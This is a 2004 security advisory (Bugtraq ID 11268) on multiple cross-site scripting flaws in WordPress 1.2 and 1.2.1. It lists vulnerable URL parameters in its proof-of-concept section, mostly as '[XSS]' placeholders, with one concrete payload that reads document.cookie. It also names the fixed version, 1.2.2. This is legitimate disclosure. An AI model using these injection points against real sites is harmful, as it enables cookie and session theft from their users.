Wordpress Multiple Cross-Site Scripting Vulnerabilities
BID:11268
Info
Wordpress Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 11268 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 28 2004 12:00AM |
| Updated: | Sep 28 2004 12:00AM |
| Credit: | Discovery is credited to Thomas Waldegger <[email protected]>. |
| Vulnerable: |
WordPress WordPress 1.2.1 WordPress WordPress 1.2 |
| Not Vulnerable: |
WordPress WordPress 1.2.2 |
Discussion
Wordpress Multiple Cross-Site Scripting Vulnerabilities
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.
Exploit / POC
Wordpress Multiple Cross-Site Scripting Vulnerabilities
No exploit is required.
The following proof of concept examples are available:
wp-login.php:
/wp-login.php?redirect_to=[XSS]
/wp-login.php?mode=bookmarklet&text=[XSS]
/wp-login.php?mode=bookmarklet&popupurl=[XSS]
/wp-login.php?mode=bookmarklet&popuptitle=[XSS]
admin-header.php:
/admin-header.php?redirect=1&redirect_url=%22;alert(document.cookie)//
bookmarklet.php:
/bookmarklet.php?popuptitle=[XSS]
/bookmarklet.php?popupurl=[XSS]
/bookmarklet.php?content=[XSS]
/bookmarklet.php?post_title=[XSS]
categories.php:
/categories.php?action=edit&cat_ID=[XSS]
edit.php:
/edit.php?s=[XSS]
edit-comments.php:
/edit-comments.php?s=[XSS]
/edit-comments.php?mode=[XSS]
No exploit is required.
The following proof of concept examples are available:
wp-login.php:
/wp-login.php?redirect_to=[XSS]
/wp-login.php?mode=bookmarklet&text=[XSS]
/wp-login.php?mode=bookmarklet&popupurl=[XSS]
/wp-login.php?mode=bookmarklet&popuptitle=[XSS]
admin-header.php:
/admin-header.php?redirect=1&redirect_url=%22;alert(document.cookie)//
bookmarklet.php:
/bookmarklet.php?popuptitle=[XSS]
/bookmarklet.php?popupurl=[XSS]
/bookmarklet.php?content=[XSS]
/bookmarklet.php?post_title=[XSS]
categories.php:
/categories.php?action=edit&cat_ID=[XSS]
edit.php:
/edit.php?s=[XSS]
edit-comments.php:
/edit-comments.php?s=[XSS]
/edit-comments.php?mode=[XSS]
Solution / Fix
Wordpress Multiple Cross-Site Scripting Vulnerabilities
Solution:
The vendor has released WordPress version 1.2.1 to address these issues.
Update: It is reported that version 1.2.1 did not completely fix these issues. It is reported that version 1.2.2 has been released, and that it fixes all issues described in this BID.
WordPress WordPress 1.2
WordPress WordPress 1.2.1
Solution:
The vendor has released WordPress version 1.2.1 to address these issues.
Update: It is reported that version 1.2.1 did not completely fix these issues. It is reported that version 1.2.2 has been released, and that it fixes all issues described in this BID.
WordPress WordPress 1.2
-
WordPress WordPress Latest Release Download
http://wordpress.org/latest.tar.gz
WordPress WordPress 1.2.1
-
WordPress WordPress Latest Release Download
http://wordpress.org/latest.tar.gz
References
Wordpress Multiple Cross-Site Scripting Vulnerabilities
References:
References:
- WordPress 1.2.1 - Security Issues (WordPress)
- WordPress Homepage (WordPress)
- Multiple XSS Vulnerabilities in Wordpress 1.2 (Thomas Waldegger
- Multiple XSS Vulnerabilities in Wordpress 1.2.1 (Thomas Waldegger